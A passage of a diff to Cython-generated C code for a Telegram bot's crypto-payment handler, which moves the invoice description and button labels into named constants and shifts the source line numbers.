= __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 126, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -5614,12 +5617,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L16_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 126, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 127, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 126, __pyx_L1_error) + else __PYX_ERR(0, 127, __pyx_L1_error) } } @@ -5630,101 +5633,89 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __Pyx_XGOTREF(__pyx_t_13); /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 130, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyNumber_Divide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L17_error) + __pyx_t_2 = __Pyx_PyNumber_Divide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 130, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_usdt_amount = __pyx_t_2; __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 130, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 131, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_create_invoice); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 130, __pyx_L17_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_create_invoice); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 131, __pyx_L17_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 132, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_fiat, __pyx_n_u_USD) < 0) __PYX_ERR(0, 131, __pyx_L17_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_currency_type, __pyx_n_u_fiat) < 0) __PYX_ERR(0, 131, __pyx_L17_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_fiat, __pyx_n_u_USD) < 0) __PYX_ERR(0, 132, __pyx_L17_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_currency_type, __pyx_n_u_fiat) < 0) __PYX_ERR(0, 132, __pyx_L17_error) - __pyx_t_5 = __Pyx_PyObject_Format(__pyx_cur_scope->__pyx_v_usdt_amount, __pyx_kp_u_2f); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 133, __pyx_L17_error) + __pyx_t_5 = __Pyx_PyObject_Format(__pyx_cur_scope->__pyx_v_usdt_amount, __pyx_kp_u_2f); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 134, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_t_5) < 0) __PYX_ERR(0, 131, __pyx_L17_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_t_5) < 0) __PYX_ERR(0, 132, __pyx_L17_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = PyTuple_New(3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 134, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 135, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_format); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 135, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 135, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 135, __pyx_L17_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 135, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_description, __pyx_t_9) < 0) __PYX_ERR(0, 132, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + __pyx_t_9 = PyTuple_New(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 136, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_9); __pyx_t_3 = 0; __pyx_t_20 = 127; - __Pyx_INCREF(__pyx_kp_u__9); - __pyx_t_20 = (65535 > __pyx_t_20) ? 65535 : __pyx_t_20; - __pyx_t_3 += 22; - __Pyx_GIVEREF(__pyx_kp_u__9); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_kp_u__9); - __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 134, __pyx_L17_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 136, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_chat); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 136, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_id); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 136, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 136, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_20 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_20) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_20; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u__8); + __pyx_t_3 += 1; + __Pyx_GIVEREF(__pyx_kp_u__8); + PyTuple_SET_ITEM(__pyx_t_9, 1, __pyx_kp_u__8); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 136, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_20 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_20) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_20; __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_6); - PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_9, 2, __pyx_t_6); __pyx_t_6 = 0; - __Pyx_INCREF(__pyx_kp_u__10); - __pyx_t_20 = (65535 > __pyx_t_20) ? 65535 : __pyx_t_20; - __pyx_t_3 += 4; - __Pyx_GIVEREF(__pyx_kp_u__10); - PyTuple_SET_ITEM(__pyx_t_5, 2, __pyx_kp_u__10); - __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_5, 3, __pyx_t_3, __pyx_t_20); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 134, __pyx_L17_error) + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_9, 3, __pyx_t_3, __pyx_t_20); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 136, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_description, __pyx_t_6) < 0) __PYX_ERR(0, 131, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_payload, __pyx_t_6) < 0) __PYX_ERR(0, 132, __pyx_L17_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = PyTuple_New(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 135, __pyx_L17_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 131, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_3 = 0; - __pyx_t_20 = 127; - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 135, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_chat); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 135, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_id); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 135, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 135, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_20 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_20) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_20; - __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); - __Pyx_GIVEREF(__pyx_t_9); - PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); - __pyx_t_9 = 0; - __Pyx_INCREF(__pyx_kp_u__11); - __pyx_t_3 += 1; - __Pyx_GIVEREF(__pyx_kp_u__11); - PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_kp_u__11); - __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 135, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_20 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_20) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_20; - __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); - __Pyx_GIVEREF(__pyx_t_9); - PyTuple_SET_ITEM(__pyx_t_6, 2, __pyx_t_9); - __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_6, 3, __pyx_t_3, __pyx_t_20); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 135, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_payload, __pyx_t_9) < 0) __PYX_ERR(0, 131, __pyx_L17_error) - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 130, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_13); @@ -5749,21 +5740,21 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_15 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_15); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 130, __pyx_L17_error) - __pyx_t_9 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 131, __pyx_L17_error) + __pyx_t_6 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_6); } else { - __pyx_t_9 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_9) < 0) __PYX_ERR(0, 130, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_9); + __pyx_t_6 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_6) < 0) __PYX_ERR(0, 131, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_6); } - __Pyx_GIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_v_invoice = __pyx_t_9; - __pyx_t_9 = 0; + __Pyx_GIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_v_invoice = __pyx_t_6; + __pyx_t_6 = 0; - __pyx_t_4 = __Pyx_HasAttr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_u_bot_invoice_url); if (unlikely(__pyx_t_4 == ((int)-1))) __PYX_ERR(0, 138, __pyx_L17_error) + __pyx_t_4 = __Pyx_HasAttr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_u_bot_invoice_url); if (unlikely(__pyx_t_4 == ((int)-1))) __PYX_ERR(0, 139, __pyx_L17_error) if (__pyx_t_4) { - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; __pyx_t_11 = 0; @@ -5781,40 +5772,43 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ #endif { PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; - __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 139, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_9); + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 140, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } - __Pyx_GIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_v_builder = __pyx_t_9; - __pyx_t_9 = 0; + __Pyx_GIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_6; + __pyx_t_6 = 0; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L17_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 141, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 141, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_n_u__12) < 0) __PYX_ERR(0, 141, __pyx_L17_error) - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_s_bot_invoice_url); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 141, __pyx_L17_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 142, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_PAY); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 142, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_url, __pyx_t_5) < 0) __PYX_ERR(0, 141, __pyx_L17_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_5) < 0) __PYX_ERR(0, 142, __pyx_L17_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 141, __pyx_L17_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_s_bot_invoice_url); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 142, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_url, __pyx_t_5) < 0) __PYX_ERR(0, 142, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 142, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = NULL; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; __pyx_t_11 = 0; #if CYTHON_UNPACK_METHODS if (likely(PyMethod_Check(__pyx_t_2))) { - __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); - if (likely(__pyx_t_6)) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); - __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_11 = 1; @@ -5822,37 +5816,40 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_5}; - __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); - __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_t_5}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 140, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_9); + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 141, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 143, __pyx_L17_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 144, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 144, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 145, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 144, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 144, __pyx_L17_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 144, __pyx_L17_error) - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 144, __pyx_L17_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 145, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_BACK); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 145, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 145, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 145, __pyx_L17_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 145, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = NULL; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; __pyx_t_11 = 0; #if CYTHON_UNPACK_METHODS if (likely(PyMethod_Check(__pyx_t_2))) { - __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); - if (likely(__pyx_t_6)) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); - __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_11 = 1; @@ -5860,91 +5857,79 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_1}; - __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); - __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_t_1}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 143, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_9); + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 144, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 146, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_9); + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 147, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_6); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L17_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 148, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 146, __pyx_L17_error) + __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 147, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2)) __PYX_ERR(0, 146, __pyx_L17_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2)) __PYX_ERR(0, 147, 